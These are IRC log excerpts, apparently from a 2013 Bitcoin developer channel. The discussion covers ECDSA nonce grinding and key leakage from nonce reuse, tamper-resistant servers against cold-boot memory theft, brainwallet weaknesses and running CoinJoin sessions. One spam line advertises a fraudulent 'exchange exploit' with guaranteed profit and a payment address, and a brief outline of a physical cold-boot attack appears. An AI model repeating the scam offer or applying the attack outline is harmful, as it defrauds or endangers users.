12:40 < adam3us> petertodd: yes i saw above, grind address or signature (modulo determinstic DSA removing grinding from R)
12:41 < adam3us> petertodd: not sure i understand. if u succeed to make the full anon set, you have to test all msgs, in hich case there is no advantage to marking, ie that would be a 0-bit prefix
12:41 < petertodd> adam3us: deterministic DSA isn't an issue actually
12:41 < petertodd> adam3us: you can throw in an extra nonce tot he det DSA algorithm and grind that
12:41 < adam3us> petertodd: you'd have to var someting further in... right like time, high precision value etc
12:42 < petertodd> adam3us: I mean, there's nowhere to *put* an explicit marker in transactions right now, so if you do so your anonymity set gets reduced greatly
12:42 < petertodd> adam3us: no, if the det DSA algorithm spits out R, you can instead use R' = H(R + nonce)
12:42 < adam3us> petertodd: oh isee you are aiming for backwards compatible marker hiding amongst non-stealth keys got it
12:43 < petertodd> adam3us: it's not deterministic, but the underlying reason why you use det dsa is still preserved
12:43 < petertodd> adam3us: exactly
12:43 < adam3us> petertodd: ys but that is verifiable to all
12:43 < petertodd> adam3us: sure it is, consider a hardware wallet: you know what nonce you gave the algorithm, so just recalculate R' yourself
12:43 < adam3us> petertodd: ie R',S when recovered doesn not match Q, and Q is included explicitly in the tx format
12:44 < petertodd> adam3us: you calculate R' first, the signature is only calculated later
12:44 < petertodd> adam3us: oh right, I see...
12:45 < adam3us> petertodd: however the recipient doesnt know d so he cant verify k=H(d,m) so you can play gaes in there
12:45 < adam3us> petertodd: where R=kG. so set k=H(d,m,ctr) and grind to find a pleasing R.x and you're good to go
12:46 < adam3us> petertodd: reinvention is good - each new person adds a new featurette and move the concept forward :)
12:46 < petertodd> adam3us: that'll be tricky to make work with coinjoin - you often need to know the address in advance prior to generating your signature
12:46 < adam3us> petertodd: (i did not trouble myself with trying to make it indistinuishable from existing payments)
12:47 < petertodd> adam3us: and you won't necessarily know all the addresses, so your deterministic DSA isn't over all the data being signed anymore
12:47 < adam3us> petertodd: no thats ok. the address Q is fixed, its just you are cheating in hw you produce k
12:47 < petertodd> adam3us: wait, who'se address is Q? the recipient?
12:48 < adam3us> petertodd: m is used twice. once in k=H(d,m,ctr) and again in s=k^-1(H(m)+R.x*d) mod n
12:48 < adam3us> petertodd: the first use is hidden so they have no idea you used ctr and cant tell; whaever ctr is (empty or used) r,s will validate against Q
12:49 < adam3us> petertodd: and probably against advice anyway most wallets are not using deterministic k selection! (grrr)
12:51 < petertodd> adam3us: nah, the problem with that is still fundementally that dsa nonce R is only a function of the seckey and a single dest address, which means accidental re-use is still possible
12:52 < petertodd> adam3us: now if you mix a random nonce in, you're probably fine in practice - the chances of re-use ever happening are slim to say the least - but it's not deterministic based on what is being signed
12:54 < adam3us> petertodd: this is just to watermark the signature so you can make a new protocol to ask full nodes for sigs with a given prefix; the problem with ECDSA is worse than full reuse. its ridiculously fragile. even leaking the bias coming from 2^256 mod n where n has lots of leading FFF was enough to break it i 1mil messages or worse according to bleichenbacher
12:54 < petertodd> adam3us: right, well I'm only assuming that you can do prefix searches on H(script
12:55 < petertodd> H(scriptPubKey), assuming anything more may not be easily possible
12:55 < adam3us> petertodd: it could be determiistic still, just more expensive deterministic. if ou start the ctr at 0 and move on untl you find the prefix whch is deterministic based on the recipient key Q (eg)
12:56 < petertodd> adam3us: that's still not fully deterministic though: if you pay the same person twice but the rest of the tx changes you might reuse R
12:57 < adam3us> petertodd: this is true, and that has some value for safety of idempotency. if you try to send a msg, crash, then reboot an try send the same msg with a diff k, thats very bad. immediate private key leak
12:58 < adam3us> adam3us: (if u did actually send it to the network, but didnt realize and do it again)
12:58 < petertodd> yup, I've got a simple hack solution, which is to use nSequence as the nonce, but that does reduce your anonymity set
12:58 < adam3us> petertodd: but accidental reuse of h(d,m,ctr) for different m... thats like accidental birthday... probability 1/2^128 same security margin as the whole scheme
12:59 < petertodd> adam3us: yeah, the risk is pretty low even with a broken prng
22:35 < petertodd> BlueMatt: Yeah, interal-case header was exactly what I was thinking of.
22:35 < petertodd> BlueMatt: Easy to keep the whole dongle short enough to still fit in a 1U case.
22:35 < BlueMatt> hell, you could do that with my setup in pure-software, if you get a case_open message, read from a known-killing sector
22:36 < petertodd> BlueMatt: Nope, you won't get the case_open message if the power is off.
22:36 < BlueMatt> oh, well ok true
22:37 < BlueMatt> anyway, aside from dma attacks, the next biggest issue is just in-memory disk caches, db caches, etc
22:38 < petertodd> Yeah, which is why I'd much rather just put it all in a tamper-resistant box. :) Getting custom-made 1U cases made where the motherboard ports aren't exposed is surprisingly cheap.
22:39 < petertodd> And both approaches can be combined too: protect aganinst thieves and hackers.
22:39 * jgarzik reads scrollback, as this could apply to my security robot project
22:42 < BlueMatt> petertodd: yea, need to protect against coldboot too, which is the hard one assuming io caches...
22:44 < petertodd> BlueMatt: Yup. Integrated power-supplies + UPSs are available these days, so you can count on the kernel being alive to start wiping memory at least, but that does add cost.
22:45 < BlueMatt> well, you should be able to force-disable some of the kernel-level io caches of unencrypted data
22:45 < petertodd> that too
22:45 < BlueMatt> its the application-level ones that are hard (and, being not in low memory, would get cleared later in the process) :(
22:45 < BlueMatt> depending on what you're protecting, ofc
22:46 < petertodd> Oh, I was just figuring you'd halt execution and wipe all of system memory the moment the anti-tamper switch is triggered.
22:46 < BlueMatt> yea, but wiping all system memory isnt that quick a process, given a motivated and fast-working attacker
22:46 < BlueMatt> depending on memory size/speed
22:46 < petertodd> UPS is just there to keep things running long enough for the kernel to do that.
22:47 < BlueMatt> if a person can get in the case and rip out memory before then, though...
22:47 < petertodd> Right, but SDRAM speeds are on the order of gigabytes/second, so they've only got at most a second or two to do that.
22:47 < petertodd> Not ideal, but that sure makes life difficult.
22:48 < BlueMatt> yep, except that three seconds is plenty if you just shove a knife in the case in the right spot....
22:48 < BlueMatt> 1) xray 2) freeze whole server 3) knife at base of dram chip 4) coldboot
22:48 < petertodd> Sure, but don't forget that vibration sensors are an option, as an example. Once we assume that level of attacker we can't assume things like light sensors or switch sensors are good enough.
22:48 < BlueMatt> or on processor or wherever
22:49 < BlueMatt> that isnt an incredibly high bar, really
22:49 < BlueMatt> xray is probably overkill, I mean you can probably look up server model
22:49 < BlueMatt> depending on level of custom-ness
22:50 < petertodd> The big advantage to all this stuff is actually more that if the thieves don't know you're using it, it's very likely they'll trip it accidentally, and if they do know you're using it, their job to steal a few dozen/hundred servers now sucks.
22:50 < petertodd> And... it's extremely cheap protection.
22:50 < BlueMatt> true
22:51 < BlueMatt> still, I like the idea of very basic commodity hardware which is properly protected against most attacks even without physical protection
22:51 < BlueMatt> because physical protection is usually trick-able
22:51 < petertodd> Sure, and as I said before you can combine this type of really cheap protection with your TPM-based stuff for a solution that combined is actually pretty damn good.
22:52 < BlueMatt> yep
22:52 < BlueMatt> but if the software stuff is good enough, you dont need the hardware stuff in theory
22:52 < BlueMatt> it just provides protection for bugs, essentially
22:52 < BlueMatt> (which is hugely valuable considering the number of subtle security flaws that are in any one of a million kernel modules)
22:53 < petertodd> The hardware for the software stuff isn't good enough yet: your stuff doesn't work well in a colo situation for instance, other than some limited examples. IE full-disk-encryption isn't helped.
22:54 < petertodd> (specifically, isn't helped due to cold boot attacks)
22:54 < BlueMatt> well, you can use my stuff in combination with tpm-backed key storage eg bitlocker
22:54 < BlueMatt> which would provide similar levels of protection
22:54 < BlueMatt> yea, it doesnt exist, but its entirely possible
22:55 < jgarzik> https://github.com/jgarzik/auctionpunk "auctiond" is the JSON-RPC server, communicates with bitcoind. "auctionuser" creates auctions and places bids.
22:55 < petertodd> Thieves still just stole all your transaction data for instance.
22:55 < phantomcircuit> depending on how much your trust the tpm manufacturer
22:55 < phantomcircuit> iirc there's only 3 that are widely used
22:55 < BlueMatt> phantomcircuit: well, ok, trust is always an issue
22:55 < jgarzik> Each bid MUST include the same TX input, guaranteeing only one winner out of all bidders. The unique auction ID is hash(outpoint), making this publicly auditable.
22:55 < jgarzik> The auctioneer is guaranteed everyone puts up money during bidding.
22:56 < BlueMatt> jgarzik: ooo, that looks useful when implementing TD's automated-self-owned-self-replicating-quadcopter-delivery-service stuff
22:56 < BlueMatt> petertodd: yes, hence the need to limit in-memory unencrypted storage
22:56 < jgarzik> Protocol spec: https://gist.github.com/jgarzik/6546194
22:57 < jgarzik> handles first-price-sealed-bid auctions for now. soon will add Dutch, hopefully others.
22:58 < petertodd> BlueMatt: Anyway, point is, I wanna know what you know about USB on Linux; what's the easiest way to implement this so writing the kernel bits is easy?
22:59 < jgarzik> petertodd, with USB, you can just use a userland lib and avoid writing a kernel driver altogether, unless you're doing something like high speed, high throughput DMA'ing
22:59 < BlueMatt> petertodd: absolutely nothing, my suggestion: use my existing code and just make the device report as a usb mass storage device
23:00 < jgarzik> petertodd, bfgminer and cgminer are example code
23:00 < BlueMatt> (+ I want an audit of my code...)
23:00 < petertodd> jgarzik: Right, through the USB lib bit-banging stuff.
23:00 < jgarzik> petertodd, but it largely depends on the major USB device class type (storage, printer, audio, serial, ...)
23:01 < petertodd> BlueMatt: USB mass storage is a complex protocol - I want this to be able to run on a cheap *low-power* 8-bit PIC chip easily.
23:01 < BlueMatt> petertodd: msc isnt that complicated....
23:01 < BlueMatt> petertodd: if you want keys that arent in-registers then just make it a mass storage controller and just give dm-crypt a keyfile
23:01 < BlueMatt> then no user-space code need be written
23:01 < jgarzik> bah, mass storage is not complex
23:02 < jgarzik> it's dumb scsi over dumb usb
23:02 < jgarzik> if you can do usb, you can do mass storage
23:02 < petertodd> I think we're all having different viewpoints on what we define as complex. :) When I say simple, I'm thinking of using one of FTDI's converter chips that do it all for you and present a really dumb big-bang interface.
23:03 < petertodd> I'm also thinking uC's with just a few hundred bytes of ram, because those are the ones with really low-power sleep modes.
23:03 < petertodd> I also like that route because then the sourcecode, all of it, is dead simple and can actually be audited easily, and for that matter, the resulting assembler output.
23:08 < jgarzik> yeah, just a simple serial interface then
23:08 < jgarzik> bfgminer and cgminer have examples of the userland side of such things...
23:09 < petertodd> That should cover it mostly then, only remaining thing will be if the drivers + libraries can be made available easily enough in the boot image or whatever it's called that dmcrypt uses to ask for the disk passwords.
23:19 < BlueMatt> petertodd: best lazy-man's bet: put a script in initrd that reads from the serial device and writes it to a keyfile which is fed into dm-crypt
23:19 < BlueMatt> or maybe dm-crypt can be made to read the serial dev which responds with key"EOF"
23:20 < petertodd> Yeah, lookins like that's enough, as the initrd image these days has all the bits to load USB devices - key storage on USB keys is common.
23:20 < petertodd> s/lookins/looking/
23:21 < petertodd> FTDI's chips can do both serial and USB HID, so changing it to a HID device if needed - like for kernel-level memory wiping - is just a firmware change.
23:25 < BlueMatt> surprised it cant do usb msc too then
23:27 < petertodd> oh, I misspoke, HID isn't supported, something called "FTDI direct" is
23:29 < jgarzik> petertodd, that's what bfgminer/cgminer talk to, with most USB ASIC miners
23:29 < jgarzik> it's common
23:29 < petertodd> ah good, I can just copy that then
23:49 < Luke-Jr> jgarzik: cgminer stopped using kernel drivers entirely actually
23:49 < Luke-Jr> opting to just reinvent them in userspace for no reason
23:49 < jgarzik> nod
--- Log closed Mon Sep 16 00:00:43 2013
--- Log opened Mon Sep 16 00:00:43 2013
00:49 < amiller> bah my puzzle fix isn't as simple as i thought
00:49 < amiller> this is a little complicated
00:49 < amiller> i basically worked out that outsourcing is possible/encouraged by committing to new transactions before each attempt at mining
00:51 < amiller> because it's easy to put watermarks in the new transactions that would allow a server to basically prove it would be detected if it ran away with a client
00:51 < amiller> if it ran away with a clients' reward*
00:51 < amiller> so my solution is to move the reward-claiming and new transactions outside the work itself
00:52 < amiller> but that implies a problem for consensus
03:22 < gmaxwell> brisque: any coin can be made malicious, e.g. generate a coin with this tool and pay for the source, then wedge in their attack code.
03:22 < andytoshi> OP_ENGLISH, and again you need user intervention to validate
03:22 < brisque> andytoshi: almost as good as that altcoin that promised to perform denial of service attacks against the announcer of a new block.
03:22 < petertodd> andytoshi: OP_POSTMODERN_CRITIQUE
03:22 < CodeShark> gmaxwell: if you understand things well enough to wedge in some attack code, you probably don't need to be paying anyone to generate you your coin :)
03:23 < andytoshi> petertodd: yes! then you can just publish blank captchas and win all the coins
03:23 < petertodd> andytoshi: nah, doesn't work like that, the critique has to get more convoluted with each passing block to avoid being too derivative
03:23 < brisque> CodeShark: I think the idea would be that bluematt signs the clean source he originally makes to avoid that problem. it avoids the situation where bluematt is claimed to have backdoored a created altcoin.
03:23 < gmaxwell> in any case, zany features need to be dumb and trivial to implement.
03:24 < gmaxwell> e.g. five line changes.
03:24 < brisque> quantum blocks. if you observe them they become invalid.
03:24 < petertodd> gmaxwell: OP_RETURN_TRUE...
03:24 < gmaxwell> e.g. "fractal difficulty adjustment".
03:24 < CodeShark> I would prefer to just allow people to set all these parameters in a config file for bitcoind :)
03:24 < brisque> gmaxwell: the trend seems to be toward random block rewards or "bonus" blocks.
03:24 < CodeShark> and then the wizard would just output the config file
03:25 < petertodd> "replace IRC seed node mechanism with bitmessage"
03:25 < petertodd> "bruteforce IPv4 address space to find peers"
03:25 < brisque> oh I like that one.
03:25 < CodeShark> since all the alts would use the same codebase as bitcoind, only the bitcoind source would need to be signed
03:25 < petertodd> brisque: "bruteforce IPv6 address space to find peers"
03:26 < brisque> petertodd: require 65536 open ports to connect to peers.
03:26 < petertodd> oh, make the PoW algorithm be cracking the genesis block pubkey
03:26 < brisque> no, make the POW algorithm to be cracking Bitcoin's genesis block pubkey.
03:26 < andytoshi> making the script turing complete might be fun to watch
03:27 < gmaxwell> petertodd: forging a signature to spend the genesis block premined coins is better perhaps.
03:27 < petertodd> brisque: there is only one true genesis
03:27 < andytoshi> and then publish a transaction which mines for you :)
03:27 < gmaxwell> andytoshi: no one outside of this room does anything with script, it would be boring.
03:27 < CodeShark> allow dynamic linking from bitcoind to the hash function (and perhaps also the block reward rule)
03:27 < brisque> petertodd: true, most of them use litecoin's anyway.
03:28 < CodeShark> then you only need to sign the hash function module
03:28 < gmaxwell> petertodd: yea, how about the POW is attempting to forge a bitcoin transaction sending block 1's coins to 1GMaxwel...
03:28 < petertodd> gmaxwell: +1
03:28 < gmaxwell> petertodd: and then in the @#$@ed up chance that someone actually solves it everyone thinks I'm .. fuck bad idea! bad idea!
03:28 < brisque> BlueMatt: what are you going to do with the alert keys? I doubt anybody outside of the core developers even know how to use them..
03:29 < gmaxwell> brisque: the ltc devs know how to use them!
03:29 < brisque> BlueMatt: I actually checked a while back and most altcoins use litecoin's alert pubkeys.
03:29 < petertodd> brisque: make the alert system scriptable!
03:29 < BlueMatt> brisque: leave them unless I have motivation to change it...I'm banking on no one using any of this anyway...
03:29 < gmaxwell> yea, it needs some brainwallet stuff for the alert key.
03:29 < brisque> great, someone works out the brainwallet is "pumpkin" and shuts down squashcoin.
03:30 < andytoshi> make the addresses pronouncable, drop them to 40 bits or so so you can memorize them
03:30 < gmaxwell> brisque: well alert keys won't shut anything down ... until that feature is turned on.
03:30 < petertodd> gmaxwell: generate the alt-coin from a brainwallet, picking the options based on the seed
03:30 < BlueMatt> next steps: make scrypt work, pre-mine a single block on the server so that pulling up the first node gets you a peer like magic (and it doesnt say "500 days behind)
03:30 < gmaxwell> andytoshi: you joke but NXT coin does that.
03:30 < andytoshi> oh :(
03:30 < brisque> gmaxwell: isn't there a "safe mode" switch which makes the network a little unusable?
03:30 < gmaxwell> brisque: nah, not triggerable by alerts anymore.
03:30 < brisque> oh neat.
03:31 < brisque> wiki needs updating, everything I learn is antiquated.
03:31 < brisque> oh no it doesn't. I didn't read properly.
03:32 < petertodd> BlueMatt: make the PoW function a simulation of monkeys typing out hamlet
03:33 < andytoshi> the PoW should be forging signatures ... and it costs extra to set your own actual signing key
03:35 < gmaxwell> petertodd: thats starting to sound like the 'poetry' part of the solidcoin 2.0 POW.
03:35 < petertodd> gmaxwell: do tell
03:35 < CodeShark> anyone wanna try using a new GUI tool for creating and signing m-of-n transactions?
03:35 * andytoshi hopes this poetry thing isn't real..
03:36 < CodeShark> gmaxwell: I got rid of that annoying boost_log dependency :)
03:36 < andytoshi> i have tried CodeShark's thing, it's pretty slick
03:36 < brisque> CodeShark: is it something portable? willing to try it if I can.
03:37 < CodeShark> it's been tested in linux and windows 8, currently working on a mac build and a windows 32 bit build
03:37 < CodeShark> unfortunately, I don't have binaries nor full packages ready yet
03:38 < gmaxwell> petertodd: the pow has a little 6th grade level rant about some of the people 'realsolid' dislikes that it hashes over and over again.
03:38 < brisque> CodeShark: have a repository I can clone?
03:38 < petertodd> gmaxwell: that's... spectacular
03:39 < nessence> CodeShark: I'd love to. I maybe able to get it built on a mac too
03:41 < gmaxwell> ohh.. whats that actress that has that unflattering picture she wants taken off the internets? make that part of the pow.
03:42 < petertodd> gmaxwell: heh, or just go full-retard and make the pow be the utxo set...
03:42 < gmaxwell> BlueMatt: in any case, what you should do is make it clear that you're willing to operate as a market for new features. E.g. someone can submit a patch to you, and you'll give them a share of the revenue.
03:42 < BlueMatt> hmm, that would be fun
03:43 < andytoshi> yeah, you'd get way better stuff than we can come up with
03:43 < andytoshi> that realsolid thing is classic
03:43 < gmaxwell> well, dunno. you'd get _more_ stuff.
03:43 < gmaxwell> plus it would be stuff that comes with patches.
03:44 < BlueMatt> whatever generates lots of use
03:52 < michagogo|cloud> 10:41:13 <gmaxwell> ohh.. whats that actress that has that unflattering picture she wants taken off the internets? make that part of the pow.
03:52 < michagogo|cloud> gmaxwell: *
04:07 < justanotheruser> gmaxwell: what, miley cyrus?
04:07 < justanotheruser> And her proof of twerk?
04:07 < justanotheruser> (joke stolen from someone else)
04:24 < gmaxwell> hah
04:24 < gmaxwell> Wizards may enjoy my curmudgeonly response: https://bitcointalk.org/index.php?topic=395468.0
04:28 < brisque> I like the idea of trying to implement a high cost KDF but without the high cost.
04:30 < brisque> the lines about sha being compromised are completely irrelevant in the terms of a brainwallet anyway, the expensive bit is always going to be the ECDSA.
04:31 < brisque> and if you knew the private key to be able to attack the hash.. well then you don't need the original phrase anyway.
04:38 < gmaxwell> brisque: the conversion to a pubkey is much faster than a good KDF should be for a "brainwallet" (if you must have a brainwallet at all)
04:38 < gmaxwell> but 200 (lol) iterations of a regular hash function doesn't really help
04:41 < brisque> gmaxwell: it's such a broken concept anyway, yet people just want to keep on making it worse.
04:45 < gmaxwell> brisque: thats what my last bit was trying to say, I don't know how many ways I can say it.
04:45 < gmaxwell> It's not getting through.
04:49 < CodeShark> what about "no matter how you implement it, it sucks. give up!"
07:22 < michagogo|cloud> BlueMatt: You may want to mention the 0.01 BTC cost on Coingen before the parameters are entered
07:23 < michagogo|cloud> s/.0/./
07:32 < michagogo|cloud> ;;later tell BlueMatt As of Magiccoin, line 9 in version.cpp still refers to Bitcoin-Qt
07:32 < gribble> The operation succeeded.
07:33 < brisque> michagogo|cloud: you paid for it?
07:33 < michagogo|cloud> brisque: nah
07:33 < michagogo|cloud> magiccoin is already paid for
07:33 < brisque> oh neat.
07:34 < michagogo|cloud> (I created WZC, wizardcoin, for this channel if anyone feels like paying 0.1 BTC to 1M5JxepsgUqXQ5gpV76ncxZ2UhT8K1oaZ9)
07:34 < brisque> might want to make sure there's a backend behind them and not just placeholders.
07:35 < michagogo|cloud> Hmm, what do the coingen coins use for bootstrapping?
07:35 < brisque> nothing at the moment. bluematt is planning on making a dummy server for boostrapping.
07:35 < adam3us> isnt a .1 btc fee a barrier to entry? isnt the point of coingen to lower the barrier to entry (so people who dont know how to do archane things like use compilers also get to innovate) so we get more crypto currency innovation like dogecoins
07:36 < brisque> adam3us: I think they're being revised eventually
07:36 < adam3us> brisque: is there a website?
07:37 < brisque> adam3us: http://coingen.bluematt.me/
07:39 < brisque> michagogo|cloud: there's actually references to bitcoin everywhere, needs a quick run through to change them all to xcoin before compile time.
19:46 < andytoshi> one of maaku's 17 million projects is an automatic p2p joiner
19:46 < andytoshi> but idk if that's usable right now
19:48 < sipa> well, i don't think you can't expect any measurable uptake without any serious wallet application having integration or even automatic using it
19:49 < pigeons> are the sessions submitted at https://www.wpsoftware.net/coinjoin/ shared with http://xnpjsvp7crbzlj3w.onion/ ?
19:51 < pigeons> since there is such low usage i would want to submit to the one that gets the higher chance of someone else submitting a transaction if not
19:51 < andytoshi> pigeons: yes, they are the same site
19:51 < pigeons> thanks
19:51 < andytoshi> the .onion gets routed to the wpsoftware.net one at my tor node
19:52 < andytoshi> (and the webserver is on the same hardware as my tor node)
19:53 < maaku> andytoshi: haha yeah i got way too much going on right now
19:54 < maaku> i need to focus on finishing just one of them
19:54 < maaku> i'm reworking the protocol messages to include multiple bucket sizes and explicit fees
19:55 < maaku> but that stalled while i was working on the utxo validation index bips
19:55 < maaku> i'm going to work the python proof-of-concept to the point where you can do joins from the command line
19:56 < maaku> and I got an offer from someone else to handle the messaging via bitmessage + tor
19:56 < maaku> but after that, I'd rather see it reworked into C++ and integrated into (a fork of) the reference client directly
19:56 < andytoshi> oh, nice
19:59 < maaku> i'm hoping that the work i'm doing will be the foundation of a future protocol extension everyone uses
20:00 < maaku> but i have no illusions of it happening quickly :)
20:00 < nOgAn0o> SEND BTC FOR 50% GUARANTEED PROFIT.. EMAIL ME AT NOGANOO@LIVE.COM WITH YOUR ORDER! I HAVE AN EXCHANGE EXPLOIT! 1CL67LZ94WUExLe9ZpKZfFMFJKwVEZqyDM
20:07 < nsh> really?
20:08 < nsh> (gmaxwell)
20:09 < pigeons> if i send you btc isn't that 100% profit for you rather than 50%?
20:09 < sipa> who has op here?
20:13 < nsh> gmaxwell has done all the +b that i've seen
20:14 < nsh> ty
20:19 <@gmaxwell> I was the only +o in here, but I've now added +o to petertodd amiller adam3us sipa warren maaku jgarzik Luke-Jr (top talkers in here)
20:19 * maaku fantasy power trips
20:23 < nsh> ULTIMATE POWERRRRR
20:25 < gmaxwell> andytoshi: you might want to make the there is no current messages include a "Go to https:// to start one."
20:27 < nsh> +1
20:28 < andytoshi> oh, hey, that's a great idea
20:29 < andytoshi> there we go
20:29 < andytoshi> (i'm going to do all my testing on #bitcoin from now on for advertising purposes)
20:29 < andytoshi> so far i've netted -0.0006btc on this joiner, by participating in pretty-much every join :P
20:31 < nsh> ballads will be sung for generations to come of your entrepreneurial acumen :)
21:08 < Luke-Jr> andytoshi: what testing? #bitcoin is explicitly non-logged FYI
21:10 < andytoshi> Luke-Jr: coinjoin
21:10 < andytoshi> log testing i do on #andytoshi :P
21:10 < andytoshi> but thx for the heads up
22:34 < gmaxwell> T-25 minutes for andytoshi's coinjoin. Time to prep your transactions if you're joining.
22:34 < andytoshi> 0.5 btc outputs
22:35 < andytoshi> i guess i should prep mine..
23:01 < gmaxwell> ;;balance 1ForFeesAndDonationsSpendHerdtWbWy
23:01 < gribble> 5.46e-05
23:02 < andytoshi> lol
23:03 < andytoshi> does anyone know who did that?
23:03 * nsh is confused
23:04 < gmaxwell> told you that you should have made it a spendable address!
23:04 < nsh> oh
23:04 < gmaxwell> ;;cjs
23:04 < gribble> Coinjoin Status: current session is open for 16 more minutes. There are currently 3 transactions in the pot. The most popular output value is 0.5.
23:06 < nsh> what's the current 'accessibility' of coinjoin?
23:06 < gmaxwell> andytoshi: ^ that should probably say max(count(most_popular),ntransactions) to avoid disclosing the number of players when it wouldn't be obvious from the inputs.
23:06 < gmaxwell> nsh: you can use andy's thing if you can spend via a raw transaction.
23:07 < gmaxwell> It's actually slightly safer than a normal raw transaction, since it prevents to common all coins to fees failure mode.
23:07 < andytoshi> hmm
23:07 < nsh> how hard would it be to let any-random-noob perform the rawtx spend safely?
23:08 < nsh> (i assume it would be better for privacy is the barrier-to-entry for coinjoin was as low as possible)
23:08 < nsh> or bc.i users can do it now?
23:09 < gmaxwell> nsh: yea, ultimately there needs to be dumb wallet integrated tools. But getting there requires more expirence with the technology, so tools like andy's n00b unfriendly one are a stepping stone.
23:09 < nsh> right
23:09 < gmaxwell> nsh: bc.i has something they're calling "coinjoin" which is really only kinda coinjoin. As it depends on you trusting bc.i to do the right thing.
23:09 < nsh> (wasn't being critical in any way, just wondering how to increase the utility)
23:09 < nsh> but i guess not trusting bc.i much more than people already do?
23:10 < gmaxwell> (really part of the premise I had in promoting this style of txn is that we can't really get wide adoption if its predicated on additional trust, because the trust is a cost too)
23:10 * nsh nods
23:10 < gmaxwell> yea, if you're already using Bc.i you're already exposed, it's not really too much worse.
23:10 < nsh> right
23:11 < andytoshi> gmaxwell: what should the display say if i'm actually publishing max(count(most_popular),ntransactions) ?
23:11 < andytoshi> "there are something like 3 transactions in the pot"
23:12 < gmaxwell> andytoshi: "there are ~N transactions in the pot"
23:13 < nsh> the awesome liability-reducing power of the tilde
23:13 < nsh> :)
23:28 < andytoshi> holy shit, these cj's get confirmed fast
23:28 < andytoshi> less than a minute this time
23:29 < nsh> there's good marketing for you :) "want faster confirmations *AND* increased privacy? use coinjoin!"
23:29 < gmaxwell> andytoshi: I guess you should share a link to the txn in #bitcoin
worse the slight loss in privacy to show people that its real.
23:30 < nsh> (just add a tilde if it's not actually faster on average)
23:31 < andytoshi> i've got to jack up the fees required fee tho, that time the fee was 0.00035786
23:31 < andytoshi> and i only demanded 0.00024 from people, so it's possible that i wound up paying most of that myself
23:32 < andytoshi> :S
23:33 < nsh> charge slightly over the odds and disburse the difference as a faucet or something
23:33 < nsh> maybe
23:33 < gmaxwell> andytoshi: set fees to whatever sane value you think they need to bet to get people to use it, I'll pay you out of the CJ bounty fund (or, if the other signers don't agree, out of my own pocket) later.
23:34 * nsh nods
23:35 < andytoshi> well, i'm not too concerned about the personal loss, but rather what happens when i'm not involved with a join
23:35 < andytoshi> i suppose i could attach a faucet..
23:36 < andytoshi> right now, the only person outside of this channel i've heard comment on the fees said they were "practically nothing"
23:37 < gmaxwell> really the problem with the fees is that they dork up going from round valued outputs to round valued outputs.
23:37 < andytoshi> yeah, that's really irritating
23:37 < nsh> could you have a dummy input and output in every join that soaks up the fee, ehm, jaggedness?
23:38 < nsh> (from some holding wallet run as part of the service)
23:38 < nsh> no, that doesn't make sense
23:38 < gmaxwell> right. :P
23:38 < nsh> shh, it's late
23:39 < gmaxwell> andytoshi: could do that if he basically gave people fee tokens. e.g. send in some coin to andy and he gives you a fee token, and then you can use that in multiple txn to pay your fees (meaning andy just pays them). But it's a lot of complexity
too much for a simple manual process.
23:39 < andytoshi> well, if it was always us, i could do something like that, since i trust that people here would pay up if i asked
23:39 * nsh nods
23:39 < andytoshi> i definitely don't want to add complexit
23:39 < nsh> you even simplified the word!
23:40 < nsh> :)
23:40 < andytoshi> for now i bumped the fee up from 8000 to 10000 satoshi, since that's rounder ;)
23:40 < gmaxwell> yea, but I suspect we'll not learn more if it's just us. What I think we should try doing is these daily ones for a few days and see if we get any more players.
23:40 < andytoshi> and in this case, we would have paid the minimum network fee even if everyone had only given 10k sat
23:40 < nsh> i wonder if you could make it a wee bit "gamier" to entice people
23:41 < nsh> (not quite gambling, but some chance element that adds 'fun')
23:41 < andytoshi> it's tough without increasing complexity .. i could do something like give all the donations to a random participant
23:41 < andytoshi> but then they'd have to provide an additional address alongside the rawtx
23:41 < gmaxwell> well and then you'll un round one of my pretty round coins. you bastard. :P
23:41 < nsh> but can that be done without trusting that you aren't getting backhanders to pick certain people to win?
23:41 < andytoshi> :P
23:42 < andytoshi> nsh: lol nope
23:42 < gmaxwell> nsh: not without making it more complex.
23:42 < nsh> is there a way to add some randomness to dispersal in script
23:42 < nsh> i thought there was an OP that gave a random bit...
23:42 < nsh> as an artefact of something or other
23:42 < gmaxwell> there isn't but there are ways to do that but not without making it more complex.
23:42 < nsh> ok
23:43 < gmaxwell> part of the point is that these txn should be generally indistinguishable from ordinary ones
except perhaps that they have many equally sized outputs.
23:43 * nsh nods
23:43 < gmaxwell> so that they're hard to exclude from tracing tools, and if a tracing tool starts excluding them, it'll be easy to make 'fake' CJ transactions.
23:43 < nsh> hmm, how would that help?
10:04 < pigeons> not too dumb, just less concerned about the ideals of the issue and more concerned with getting a transaction done
10:05 < jtimon> so I could as well make a falsefreicoin covenant with a demurrage that goes to me instead of miners
10:05 < jtimon> sell them into existence for bitcoin at 1:1 ala mastercoin
10:06 < jtimon> but if bitpay moves from bitcoin to falsefreicoin nobody will notice the difference
10:06 < adam3us> jtimon: it might work :) look at all the scamcoins
10:06 < jtimon> scams work for a while
10:06 < pigeons> and external factors will use these tools to force the social and economic environment so that using amlcoin is either simpler and easier, or the only option for the things the user/business/customer wants to do
10:06 < jtimon> let's see how the scamcoin thing looks in a year
10:07 < adam3us> jtimon: so you agree that bitcoin with no access to exchange services is almost certain to have a lower price?
10:07 < adam3us> jtimon: indeed i hope the scam coins all die :)
10:08 < jtimon> would have a much lower price, yet, I just don't believe anything in the world can close all bitcoin exchanges at once
10:08 < pigeons> no access to large public, in the open, exchange services? because exchange services can take many forms
10:08 < jtimon> why would btcchina care about nsacoin?
10:08 < pigeons> why does it have to be at once?
10:08 < adam3us> jtimon: and similarly i agree with your concept that a freecoin is worth more than an amlcoin in a way slightly perhaps analogous to virgin coins being apparently already worth a premium over used coins
10:09 < pigeons> it inches toward more useful to merchants and users as bitcoin inches aways from it
10:09 < adam3us> jtimon, pigeons: well access to btc-china for non-chinese resident is not given. watch the 10% spread bitstamp to mtgox.
10:09 < jtimon> pigeons if it's one by one, btc will start with more exchanges than nsacoin and your arguments are reversed: nsacoin are worth nothing because you can only trade them in 1 exchange
10:09 < stonecoldpat> adam3us: do you mean that a freshly minted coin from miners, has a premium over previously used coins?
10:10 < adam3us> stonecoldpat: apparently yes. there was someone selling virgin coins for a premium
10:10 < stonecoldpat> haha fantastic
10:10 < pigeons> well my argument isnt about price, im not concerned with the price, im concenred that amcoin adoption and usage forces out bitcoin adoption and usage
10:11 < adam3us> pigeons: yes but jtimon asserts that the freecoin->amlcoin leakage would be stemmed if freecoins become worth a lot more than amlcoin so the price comes into it. i expect the reverse in net tho there are economic forces pushing in both price directions
